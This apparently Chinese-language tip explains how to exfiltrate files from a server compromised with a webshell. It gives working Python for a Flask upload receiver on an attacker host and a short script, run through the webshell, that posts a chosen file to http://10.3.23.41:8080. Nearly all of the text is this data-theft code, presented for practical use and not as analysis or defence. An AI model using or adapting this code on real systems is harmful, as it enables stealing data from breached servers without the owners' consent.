拥有webshell的服务器可以ping通主机A，这就表明webshell可以向主机A post一些数据。

在主机A上开启一个接受文件的http服务，在webshell中使用文件上传命令进行上传。

主机A：

import flask

from flask import request

app = flask.Flask(__name__)

@app.route("/", methods=["GET", "POST"])

def upload():

    if request.method == 'GET':

        return "I am ok,please post file"

    elif request.method == "POST":

        file = request.files['file']

        file.save(file.filename)

        return "upload successful"

    else:

        return "Plese use get or post method"

if __name__ == '__main__':

    app.run(host="0.0.0.0", port=8080)

webshell

import requests

import sys

f = sys.argv[1]

targetName = sys.argv[2]

resp = requests.post("http://10.3.23.41:8080", files={

    "file": (targetName, open(f))

})

print(resp.content)